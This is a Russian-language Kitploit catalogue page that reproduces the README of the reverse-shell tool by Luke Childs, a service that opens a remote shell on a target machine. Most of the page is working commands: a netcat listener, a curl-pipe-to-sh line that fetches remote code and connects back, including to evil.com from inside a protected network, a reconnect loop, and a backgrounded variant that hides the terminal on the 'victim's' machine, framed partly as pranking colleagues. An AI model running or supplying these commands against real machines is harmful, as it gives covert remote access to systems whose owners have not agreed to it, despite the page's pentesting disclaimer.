Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
reverse-shell — Сервис обратной оболочки по требованию, который автоматически определяет целевую среду и выполняет соответствующую полезную нагрузку для удаленного доступа во время тестов на проникновение. | Kitploit
Инструменты/GitHubGitHub/lukechilds/reverse-shell
ЭксплуатацияШелл-кодТестирование на ПроникновениеКомандование и УправлениеRed TeamingИнструмент Удаленного Доступа
GitHublukechilds/reverse-shell

reverse-shell

Сервис обратной оболочки по требованию, который автоматически определяет целевую среду и выполняет соответствующую полезную нагрузку для удаленного доступа во время тестов на проникновение.

Репозиторий
2.0k2496 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

keyv

reverse-shell

Reverse Shell как сервис — https://reverse-shell.sh

Tests Coverage Status GitHub Donate

Легко запоминающаяся обратная оболочка, которая должна работать на большинстве Unix-подобных систем.

Определяет доступное программное обеспечение на целевой системе и запускает соответствующий полезный код.

Использование

1. Ожидание подключения

На вашей машине откройте порт и слушайте его. Это можно легко сделать с помощью netcat.

root@kitploit:~
nc -l 1337

2. Запуск обратной оболочки на целевой системе

На целевой машине перенаправьте вывод https://reverse-shell.sh/yourip:port в sh.

root@kitploit:~
curl https://reverse-shell.sh/192.168.0.69:1337 | sh

Вернитесь на свою машину, теперь у вас должна появиться приглашение оболочки.

3. Не будьте мудаком

Это предназначено для пентестинга или помощи коллегам в понимании того, почему они всегда должны блокировать свои компьютеры. Пожалуйста, не используйте это для чего-либо злонамеренного.

Демонстрация

Советы

Имя хоста

Вы можете использовать имя хоста вместо IP-адреса.

root@kitploit:~
curl https://reverse-shell.sh/localhost:1337 | sh

Удаленные подключения

Поскольку это обратное подключение, оно может пробивать брандмауэры и подключаться к интернету.

Вы можете слушать подключения на сервере evil.com и получить обратную оболочку изнутри защищенной сети с помощью:

root@kitploit:~
curl https://reverse-shell.sh/evil.com:1337 | sh

Переподключение

По умолчанию при выходе из оболочки вы теряете соединение. Это может произойти случайно из-за неверной команды. Вы можете легко создать оболочку, которая будет пытаться переподключиться, обернув её в цикл while.

root@kitploit:~
while true; do curl https://reverse-shell.sh/yourip:1337 | sh; done

Будьте осторожны, если делаете это с коллегой: если они покинут офис с этим все еще работающим, вы подвергаете их атаке.

Запуск как фоновый процесс

Терминальный сеанс должен оставаться открытым для сохранения соединения обратной оболочки. Это может быть небольшим подсказкой, если вы пытаетесь разыграть коллег.

Следующая команда запустит обратную оболочку в фоновом процессе и выйдет из терминала, не оставляя подозрительных окон терминала открытыми на машине жертвы.

Убедитесь, что вы запускаете это в новом окне терминала, иначе вы потеряете все данные в вашем текущем сеансе.

root@kitploit:~
sh -c "curl https://reverse-shell.sh/localhost:1337 | sh -i &" && exit

Лицензия

MIT © Luke Childs

Скачать инструмент